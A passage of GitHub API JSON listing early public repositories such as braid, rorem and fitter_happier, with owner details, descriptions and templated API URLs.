m","description":"Ruby Asset Manager","fork":false,"url":"https://api.github.com/repos/up_the_irons/ram","forks_url":"https://api.github.com/repos/up_the_irons/ram/forks","keys_url":"https://api.github.com/repos/up_the_irons/ram/keys{/key_id}","collaborators_url":"https://api.github.com/repos/up_the_irons/ram/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/up_the_irons/ram/teams","hooks_url":"https://api.github.com/repos/up_the_irons/ram/hooks","issue_events_url":"https://api.github.com/repos/up_the_irons/ram/issues/events{/number}","events_url":"https://api.github.com/repos/up_the_irons/ram/events","assignees_url":"https://api.github.com/repos/up_the_irons/ram/assignees{/user}","branches_url":"https://api.github.com/repos/up_the_irons/ram/branches{/branch}","tags_url":"https://api.github.com/repos/up_the_irons/ram/tags","blobs_url":"https://api.github.com/repos/up_the_irons/ram/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/up_the_irons/ram/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/up_the_irons/ram/git/refs{/sha}","trees_url":"https://api.github.com/repos/up_the_irons/ram/git/trees{/sha}","statuses_url":"https://api.github.com/repos/up_the_irons/ram/statuses/{sha}","languages_url":"https://api.github.com/repos/up_the_irons/ram/languages","stargazers_url":"https://api.github.com/repos/up_the_irons/ram/stargazers","contributors_url":"https://api.github.com/repos/up_the_irons/ram/contributors","subscribers_url":"https://api.github.com/repos/up_the_irons/ram/subscribers","subscription_url":"https://api.github.com/repos/up_the_irons/ram/subscription","commits_url":"https://api.github.com/repos/up_the_irons/ram/commits{/sha}","git_commits_url":"https://api.github.com/repos/up_the_irons/ram/git/commits{/sha}","comments_url":"https://api.github.com/repos/up_the_irons/ram/comments{/number}","issue_comment_url":"https://api.github.com/repos/up_the_irons/ram/issues/comments/{number}","contents_url":"https://api.github.com/repos/up_the_irons/ram/contents/{+path}","compare_url":"https://api.github.com/repos/up_the_irons/ram/compare/{base}...{head}","merges_url":"https://api.github.com/repos/up_the_irons/ram/merges","archive_url":"https://api.github.com/repos/up_the_irons/ram/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/up_the_irons/ram/downloads","issues_url":"https://api.github.com/repos/up_the_irons/ram/issues{/number}","pulls_url":"https://api.github.com/repos/up_the_irons/ram/pulls{/number}","milestones_url":"https://api.github.com/repos/up_the_irons/ram/milestones{/number}","notifications_url":"https://api.github.com/repos/up_the_irons/ram/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/up_the_irons/ram/labels{/name}"},{"id":230,"name":"ambitious_activeldap","full_name":"defunkt/ambitious_activeldap","owner":{"login":"defunkt","id":2,"avatar_url":"https://2.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https%3A%2F%2Fidenticons.github.com%2Fc81e728d9d4c2f636f067f89cc14862c.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","html_url":"https://github.com/defunkt","followers_url":"https://api.github.com/users/defunkt/followers","following_url":"https://api.github.com/users/defunkt/following{/other_user}","gists_url":"https://api.github.com/users/defunkt/gists{/gist_id}","starred_url":"https://api.github.com/users/defunkt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/defunkt/subscriptions","organizations_url":"https://api.github.com/users/defunkt/orgs","repos_url":"https://api.github.com/users/defunkt/repos","events_url":"https://api.github.com/users/defunkt/events{/privacy}","received_events_url":"https://api.github.com/users/defunkt/received_events","type":"User"},"private":false,"html_url":"https://github.com/defunkt/ambitious_activeldap","description":"Ambition adapter for ActiveLdap","fork":true,"url":"https://api.github.com/repos/defunkt/ambitious_activeldap","forks_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/forks","keys_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/teams","hooks_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/hooks","issue_events_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues/events{/number}","events_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/events","assignees_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/assignees{/user}","branches_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/branches{/branch}","tags_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/tags","blobs_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/refs{/sha}","trees_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/statuses/{sha}","languages_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/languages","stargazers_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/stargazers","contributors_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/contributors","subscribers_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/subscribers","subscription_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/subscription","commits_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/commits{/sha}","git_commits_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/git/commits{/sha}","comments_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/comments{/number}","issue_comment_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues/comments/{number}","contents_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/contents/{+path}","compare_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/merges","archive_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/downloads","issues_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/issues{/number}","pulls_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/pulls{/number}","milestones_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/milestones{/number}","notifications_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/defunkt/ambitious_activeldap/labels{/name}"},{"id":232,"name":"fitter_happier","full_name":"atmos/fitter_happier","owner":{"login":"atmos","id":38,"avatar_url":"https://0.gravatar.com/avatar/a86224d72ce21cd9f5bee6784d4b06c7?d=https%3A%2F%2Fidenticons.github.com%2Fa5771bce93e200c36f7cd9dfd0e5deaa.png","gravatar_id":"a86224d72ce21cd9f5bee6784d4b06c7","url":"https://api.github.com/users/atmos","html_url":"https://github.com/atmos","followers_url":"https://api.github.com/users/atmos/followers","following_url":"https://api.github.com/users/atmos/following{/other_user}","gists_url":"https://api.github.com/users/atmos/gists{/gist_id}","starred_url":"https://api.github.com/users/atmos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/atmos/subscriptions","organizations_url":"https://api.github.com/users/atmos/orgs","repos_url":"https://api.github.com/users/atmos/repos","events_url":"https://api.github.com/users/atmos/events{/privacy}","received_events_url":"https://api.github.com/users/atmos/received_events","type":"User"},"private":false,"html_url":"https://github.com/atmos/fitter_happier","description":"A Rails Plugin for adding a simple health check to your application","fork":false,"url":"https://api.github.com/repos/atmos/fitter_happier","forks_url":"https://api.github.com/repos/atmos/fitter_happier/forks","keys_url":"https://api.github.com/repos/atmos/fitter_happier/keys{/key_id}","collaborators_url":"https://api.github.com/repos/atmos/fitter_happier/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/atmos/fitter_happier/teams","hooks_url":"https://api.github.com/repos/atmos/fitter_happier/hooks","issue_events_url":"https://api.github.com/repos/atmos/fitter_happier/issues/events{/number}","events_url":"https://api.github.com/repos/atmos/fitter_happier/events","assignees_url":"https://api.github.com/repos/atmos/fitter_happier/assignees{/user}","branches_url":"https://api.github.com/repos/atmos/fitter_happier/branches{/branch}","tags_url":"https://api.github.com/repos/atmos/fitter_happier/tags","blobs_url":"https://api.github.com/repos/atmos/fitter_happier/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/atmos/fitter_happier/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/atmos/fitter_happier/git/refs{/sha}","trees_url":"https://api.github.com/repos/atmos/fitter_happier/git/trees{/sha}","statuses_url":"https://api.github.com/repos/atmos/fitter_happier/statuses/{sha}","languages_url":"https://api.github.com/repos/atmos/fitter_happier/languages","stargazers_url":"https://api.github.com/repos/atmos/fitter_happier/stargazers","contributors_url":"https://api.github.com/repos/atmos/fitter_happier/contributors","subscribers_url":"https://api.github.com/repos/atmos/fitter_happier/subscribers","subscription_url":"https://api.github.com/repos/atmos/fitter_happier/subscription","commits_url":"https://api.github.com/repos/atmos/fitter_happier/commits{/sha}","git_commits_url":"https://api.github.com/repos/atmos/fitter_happier/git/commits{/sha}","comments_url":"https://api.github.com/repos/atmos/fitter_happier/comments{/number}","issue_comment_url":"https://api.github.com/repos/atmos/fitter_happier/issues/comments/{number}","contents_url":"https://api.github.com/repos/atmos/fitter_happier/contents/{+path}","compare_url":"https://api.github.com/repos/atmos/fitter_happier/compare/{base}...{head}","merges_url":"https://api.github.com/repos/atmos/fitter_happier/merges","archive_url":"https://api.github.com/repos/atmos/fitter_happier/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/atmos/fitter_happier/downloads","issues_url":"https://api.github.com/repos/atmos/fitter_happier/issues{/number}","pulls_url":"https://api.github.com/repos/atmos/fitter_happier/pulls{/number}","milestones_url":"https://api.github.com/repos/atmos/fitter_happier/milestones{/number}","notifications_url":"https://api.github.com/repos/atmos/fitter_happier/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/atmos/fitter_happier/labels{/name}"},{"id":237,"name":"oebfare","full_name":"brosner/oebfare","owner":{"login":"brosner","id":124,"avatar_url":"https://0.gravatar.com/avatar/b7472bc7aa45c70641c299e9408b78ab?d=https%3A%2F%2Fidenticons.github.com%2Fc8ffe9a587b126f152ed3d89a146b445.png","gravatar_id":"b7472bc7aa45c70641c299e9408b78ab","url":"https://api.github.com/users/brosner","html_url":"https://github.com/brosner","followers_url":"https://api.github.com/users/brosner/followers","following_url":"https://api.github.com/users/brosner/following{/other_user}","gists_url":"https://api.github.com/users/brosner/gists{/gist_id}","starred_url":"https://api.github.com/users/brosner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brosner/subscriptions","organizations_url":"https://api.github.com/users/brosner/orgs","repos_url":"https://api.github.com/users/brosner/repos","events_url":"https://api.github.com/users/brosner/events{/privacy}","received_events_url":"https://api.github.com/users/brosner/received_events","type":"User"},"private":false,"html_url":"https://github.com/brosner/oebfare","description":"my personal blog written with django","fork":false,"url":"https://api.github.com/repos/brosner/oebfare","forks_url":"https://api.github.com/repos/brosner/oebfare/forks","keys_url":"https://api.github.com/repos/brosner/oebfare/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brosner/oebfare/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brosner/oebfare/teams","hooks_url":"https://api.github.com/repos/brosner/oebfare/hooks","issue_events_url":"https://api.github.com/repos/brosner/oebfare/issues/events{/number}","events_url":"https://api.github.com/repos/brosner/oebfare/events","assignees_url":"https://api.github.com/repos/brosner/oebfare/assignees{/user}","branches_url":"https://api.github.com/repos/brosner/oebfare/branches{/branch}","tags_url":"https://api.github.com/repos/brosner/oebfare/tags","blobs_url":"https://api.github.com/repos/brosner/oebfare/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brosner/oebfare/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brosner/oebfare/git/refs{/sha}","trees_url":"https://api.github.com/repos/brosner/oebfare/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brosner/oebfare/statuses/{sha}","languages_url":"https://api.github.com/repos/brosner/oebfare/languages","stargazers_url":"https://api.github.com/repos/brosner/oebfare/stargazers","contributors_url":"https://api.github.com/repos/brosner/oebfare/contributors","subscribers_url":"https://api.github.com/repos/brosner/oebfare/subscribers","subscription_url":"https://api.github.com/repos/brosner/oebfare/subscription","commits_url":"https://api.github.com/repos/brosner/oebfare/commits{/sha}","git_commits_url":"https://api.github.com/repos/brosner/oebfare/git/commits{/sha}","comments_url":"https://api.github.com/repos/brosner/oebfare/comments{/number}","issue_comment_url":"https://api.github.com/repos/brosner/oebfare/issues/comments/{number}","contents_url":"https://api.github.com/repos/brosner/oebfare/contents/{+path}","compare_url":"https://api.github.com/repos/brosner/oebfare/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brosner/oebfare/merges","archive_url":"https://api.github.com/repos/brosner/oebfare/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brosner/oebfare/downloads","issues_url":"https://api.github.com/repos/brosner/oebfare/issues{/number}","pulls_url":"https://api.github.com/repos/brosner/oebfare/pulls{/number}","milestones_url":"https://api.github.com/repos/brosner/oebfare/milestones{/number}","notifications_url":"https://api.github.com/repos/brosner/oebfare/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brosner/oebfare/labels{/name}"},{"id":245,"name":"credit_card_tools","full_name":"up_the_irons/credit_card_tools","owner":{"login":"up_the_irons","id":121,"avatar_url":"https://2.gravatar.com/avatar/d9ae72d7364c7909a0a4b02cba72438a?d=https%3A%2F%2Fidenticons.github.com%2F4c56ff4ce4aaf9573aa5dff913df997a.png","gravatar_id":"d9ae72d7364c7909a0a4b02cba72438a","url":"https://api.github.com/users/up_the_irons","html_url":"https://github.com/up_the_irons","followers_url":"https://api.github.com/users/up_the_irons/followers","following_url":"https://api.github.com/users/up_the_irons/following{/other_user}","gists_url":"https://api.github.com/users/up_the_irons/gists{/gist_id}","starred_url":"https://api.github.com/users/up_the_irons/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/up_the_irons/subscriptions","organizations_url":"https://api.github.com/users/up_the_irons/orgs","repos_url":"https://api.github.com/users/up_the_irons/repos","events_url":"https://api.github.com/users/up_the_irons/events{/privacy}","received_events_url":"https://api.github.com/users/up_the_irons/received_events","type":"User"},"private":false,"html_url":"https://github.com/up_the_irons/credit_card_tools","description":"Tools for processing credit cards on the command line","fork":false,"url":"https://api.github.com/repos/up_the_irons/credit_card_tools","forks_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/forks","keys_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/teams","hooks_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/hooks","issue_events_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues/events{/number}","events_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/events","assignees_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/assignees{/user}","branches_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/branches{/branch}","tags_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/tags","blobs_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/statuses/{sha}","languages_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/languages","stargazers_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/stargazers","contributors_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/contributors","subscribers_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/subscribers","subscription_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/subscription","commits_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues/comments/{number}","contents_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/contents/{+path}","compare_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/merges","archive_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/downloads","issues_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/issues{/number}","pulls_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/pulls{/number}","milestones_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/milestones{/number}","notifications_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/up_the_irons/credit_card_tools/labels{/name}"},{"id":248,"name":"rorem","full_name":"jnicklas/rorem","owner":{"login":"jnicklas","id":134,"avatar_url":"https://0.gravatar.com/avatar/6c469749d725177dd2837d806c769cd4?d=https%3A%2F%2Fidenticons.github.com%2F02522a2b2726fb0a03bb19f2d8d9524d.png","gravatar_id":"6c469749d725177dd2837d806c769cd4","url":"https://api.github.com/users/jnicklas","html_url":"https://github.com/jnicklas","followers_url":"https://api.github.com/users/jnicklas/followers","following_url":"https://api.github.com/users/jnicklas/following{/other_user}","gists_url":"https://api.github.com/users/jnicklas/gists{/gist_id}","starred_url":"https://api.github.com/users/jnicklas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnicklas/subscriptions","organizations_url":"https://api.github.com/users/jnicklas/orgs","repos_url":"https://api.github.com/users/jnicklas/repos","events_url":"https://api.github.com/users/jnicklas/events{/privacy}","received_events_url":"https://api.github.com/users/jnicklas/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnicklas/rorem","description":"Rorem is a random data generator","fork":false,"url":"https://api.github.com/repos/jnicklas/rorem","forks_url":"https://api.github.com/repos/jnicklas/rorem/forks","keys_url":"https://api.github.com/repos/jnicklas/rorem/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnicklas/rorem/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnicklas/rorem/teams","hooks_url":"https://api.github.com/repos/jnicklas/rorem/hooks","issue_events_url":"https://api.github.com/repos/jnicklas/rorem/issues/events{/number}","events_url":"https://api.github.com/repos/jnicklas/rorem/events","assignees_url":"https://api.github.com/repos/jnicklas/rorem/assignees{/user}","branches_url":"https://api.github.com/repos/jnicklas/rorem/branches{/branch}","tags_url":"https://api.github.com/repos/jnicklas/rorem/tags","blobs_url":"https://api.github.com/repos/jnicklas/rorem/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnicklas/rorem/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnicklas/rorem/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnicklas/rorem/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnicklas/rorem/statuses/{sha}","languages_url":"https://api.github.com/repos/jnicklas/rorem/languages","stargazers_url":"https://api.github.com/repos/jnicklas/rorem/stargazers","contributors_url":"https://api.github.com/repos/jnicklas/rorem/contributors","subscribers_url":"https://api.github.com/repos/jnicklas/rorem/subscribers","subscription_url":"https://api.github.com/repos/jnicklas/rorem/subscription","commits_url":"https://api.github.com/repos/jnicklas/rorem/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnicklas/rorem/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnicklas/rorem/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnicklas/rorem/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnicklas/rorem/contents/{+path}","compare_url":"https://api.github.com/repos/jnicklas/rorem/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnicklas/rorem/merges","archive_url":"https://api.github.com/repos/jnicklas/rorem/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnicklas/rorem/downloads","issues_url":"https://api.github.com/repos/jnicklas/rorem/issues{/number}","pulls_url":"https://api.github.com/repos/jnicklas/rorem/pulls{/number}","milestones_url":"https://api.github.com/repos/jnicklas/rorem/milestones{/number}","notifications_url":"https://api.github.com/repos/jnicklas/rorem/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnicklas/rorem/labels{/name}"},{"id":249,"name":"braid","full_name":"evilchelu/braid","owner":{"login":"evilchelu","id":122,"avatar_url":"https://1.gravatar.com/avatar/0e8c5f8d88cfc1aeeb59acdcc8aad387?d=https%3A%2F%2Fidenticons.github.com%2Fa0a080f42e6f13b3a2df133f073095dd.png","gravatar_id":"0e8c5f8d88cfc1aeeb59acdcc8aad387","url":"https://api.github.com/users/evilchelu","html_url":"https://github.com/evilchelu","followers_url":"https://api.github.com/users/evilchelu/followers","following_url":"https://api.github.com/users/evilchelu/following{/other_user}","gists_url":"https://api.github.com/users/evilchelu/gists{/gist_id}","starred_url":"https://api.github.com/users/evilchelu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/evilchelu/subscriptions","organizations_url":"https://api.github.com/users/evilchelu/orgs","repos_url":"https://api.github.com/users/evilchelu/repos","events_url":"https://api.github.com/users/evilchelu/events{/privacy}","received_events_url":"https://api.github.com/users/evilchelu/received_events","type":"User"},"private":false,"html_url":"https://github.com/evilchelu/braid","description":"Simple tool to help track git and svn vendor branches in a git repository","fork":false,"url":"https://api.github.com/repos/evilchelu/braid","forks_url":"https://api.github.com/repos/evilchelu/braid/forks","keys_url":"https://api.github.com/repos/evilchelu/braid/keys{/key_id}","collaborators_url":"https://api.github.com/repos/evilchelu/braid/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/evilchelu/braid/teams","hooks_url":"https://api.github.com/repos/evilchelu/braid/hooks","issue_events_url":"https://api.github.com/repos/evilchelu/braid/issues/events{/number}","events_url":"https://api.github.com/repos/evilchelu/braid/events","assignees_url":"https://api.github.com/repos/evilchelu/braid/assignees{/user}","branches_url":"https://api.github.com/repos/evilchelu/braid/branches{/branch}","tags_url":"https://api.github.com/repos/evilchelu/braid/tags","blobs_url":"https://api.github.com/repos/evilchelu/braid/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/evilchelu/braid/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/evilchelu/braid/git/refs{/sha}","trees_url":"https://api.github.com/repos/evilchelu/braid/git/trees{/sha}","statuses_url":"https://api.github.com/repos/evilchelu/braid/statuses/{sha}","languages_url":"https://api.github.com/repos/evilchelu/braid/languages","stargazers_url":"https://api.github.com/repos/evilchelu/braid/stargazers","contributors_url":"https://api.github.com/repos/evilchelu/braid/contributors","subscribers_url":"https://api.github.com/repos/evilchelu/braid/subscribers","subscription_url":"https://api.github.com/repos/evilchelu/braid/subscription","commits_url":"https://api.github.com/repos/evilchelu/braid/commits{/sha}","git_commits_url":"https://api.github.com/repos/evilchelu/braid/git/commits{/sha}","comments_url":"https://api.github.com/repos/evilchelu/braid/comments{/number}","issue_comment_url":"https://api.github.com/repos/evilchelu/braid/issues/comments/{number}","contents_url":"https://api.github.com/repos/evilchelu/braid/contents/{+path}","compare_url":"https://api.github.com/repos/evilchelu/braid/compare/{base}...{head}","merges_url":"https://api.github.com/repos/evilchelu/braid/merges","archive_url":"https://api.github.com/repos/evilchelu/braid/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/evilchelu/braid/downloads","issues_url":"https://api.github.com/repos/evilchelu/braid/issues{/number}","pulls_url":"https://api.github.com/repos/evilchelu/braid/pulls{/number}","milestones_url":"https://api.github.com/repos/evilchelu/braid/milestones{/number}","notifications_url":"https://api.github.com/repos/evilchelu/braid/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/evilchelu/braid/labels{/name}"},{"id":251,"name":"uploadcolumn","full_name":"jnicklas/uploadcolumn","owner":{"login":"jnicklas","id":134,"avatar_url":"https://0.gravatar.com/avatar/6c469749d725177dd2837d806c769cd4?d=https%3A%2F%2Fidenticons.github.com%2F02522a2b2726fb0a03bb19f2d8d9524d.png","gravatar_id":"6c469749d725177dd2837d806c769cd4","url":"https://api.github.com/users/jnicklas","html_url":"https://github.com/jnicklas","followers_url":"https://api.github.com/users/jnicklas/followers","following_url":"https://api.github.com/users/jnicklas/following{/other_user}","gists_url":"https://api.github.com/users/jnicklas/gists{/gist_id}","starred_url":"https://api.github.com/users/jnicklas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jnicklas/subscriptions","organizations_url":"https://api.github.com/users/jnicklas/orgs","repos_url":"https://api.github.com/users/jnicklas/repos","events_url":"https://api.github.com/users/jnicklas/events{/privacy}","received_events_url":"https://api.github.com/users/jnicklas/received_events","type":"User"},"private":false,"html_url":"https://github.com/jnicklas/uploadcolumn","description":"UploadColumn is no longer maintained, check out CarrierWave for an alternative","fork":false,"url":"https://api.github.com/repos/jnicklas/uploadcolumn","forks_url":"https://api.github.com/repos/jnicklas/uploadcolumn/forks","keys_url":"https://api.github.com/repos/jnicklas/uploadcolumn/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jnicklas/uploadcolumn/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jnicklas/uploadcolumn/teams","hooks_url":"https://api.github.com/repos/jnicklas/uploadcolumn/hooks","issue_events_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues/events{/number}","events_url":"https://api.github.com/repos/jnicklas/uploadcolumn/events","assignees_url":"https://api.github.com/repos/jnicklas/uploadcolumn/assignees{/user}","branches_url":"https://api.github.com/repos/jnicklas/uploadcolumn/branches{/branch}","tags_url":"https://api.github.com/repos/jnicklas/uploadcolumn/tags","blobs_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/refs{/sha}","trees_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jnicklas/uploadcolumn/statuses/{sha}","languages_url":"https://api.github.com/repos/jnicklas/uploadcolumn/languages","stargazers_url":"https://api.github.com/repos/jnicklas/uploadcolumn/stargazers","contributors_url":"https://api.github.com/repos/jnicklas/uploadcolumn/contributors","subscribers_url":"https://api.github.com/repos/jnicklas/uploadcolumn/subscribers","subscription_url":"https://api.github.com/repos/jnicklas/uploadcolumn/subscription","commits_url":"https://api.github.com/repos/jnicklas/uploadcolumn/commits{/sha}","git_commits_url":"https://api.github.com/repos/jnicklas/uploadcolumn/git/commits{/sha}","comments_url":"https://api.github.com/repos/jnicklas/uploadcolumn/comments{/number}","issue_comment_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues/comments/{number}","contents_url":"https://api.github.com/repos/jnicklas/uploadcolumn/contents/{+path}","compare_url":"https://api.github.com/repos/jnicklas/uploadcolumn/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jnicklas/uploadcolumn/merges","archive_url":"https://api.github.com/repos/jnicklas/uploadcolumn/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jnicklas/uploadcolumn/downloads","issues_url":"https://api.github.com/repos/jnicklas/uploadcolumn/issues{/number}","pulls_url":"https://api.github.com/repos/jnicklas/uploadcolumn/pulls{/number}","milestones_url":"https://api.github.com/repos/jnicklas/uploadcolumn/milestones{/number}","notifications_url":"https://api.github.com/repos/jnicklas/uploadcolumn/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jnicklas/uploadcolumn/labels{/name}"},{"id":252,"name":"ruby-on-rails-tmbundle","full_name":"simonjefford/ruby-on-rails-tmbundle","owner":{"login":"simonjefford","id":136,"avatar_url":"https://1.gravatar.com/avatar/46fd60ea4dde74f3d46fcfd27ed700bf?d=https%3A%2F%2Fidenticons.github.com%2F42a0e188f5033bc65bf8d78622277c4e.png","gravatar_id":"46fd60ea4dde74f3d46fcfd27ed700bf","url":"https://api.github.com/users/simonjefford","html_url":"https://github.com/simonjefford","followers_url":"https://api.github.com/users/simonjefford/followers","following_url":"https://api.github.com/users/simonjefford/following{/other_user}","gists_url":"https://api.github.com/users/simonjefford/gists{/gist_id}","starred_url":"https://api.github.com/users/simonjefford/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/simonjefford/subscriptions","organizations_url":"https://api.github.com/users/simonjefford/orgs","repos_url":"https://api.github.com/users/simonjefford/repos","events_url":"https://api.github.com/users/simonjefford/events{/privacy}","received_events_url":"https://api.github.com/users/simonjefford/received_events","type":"User"},"private":false,"html_url":"https://github.com/simonjefford/ruby-on-rails-tmbundle","description":"Ruby on Rails TextMate bundle [master branch is svn trunk; patches to drnicwilliams@gmail.com]","fork":true,"url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle","forks_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/forks","keys_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/keys{/key_id}","collaborators_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/teams","hooks_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/hooks","issue_events_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/issues/events{/number}","events_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/events","assignees_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/assignees{/user}","branches_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/branches{/branch}","tags_url":"https://api.github.com/repos/simonjefford/ruby-on-rails-tmbundle/tags","blobs_url":"https://api.github.com/repos/simonjefford/ruby-on-r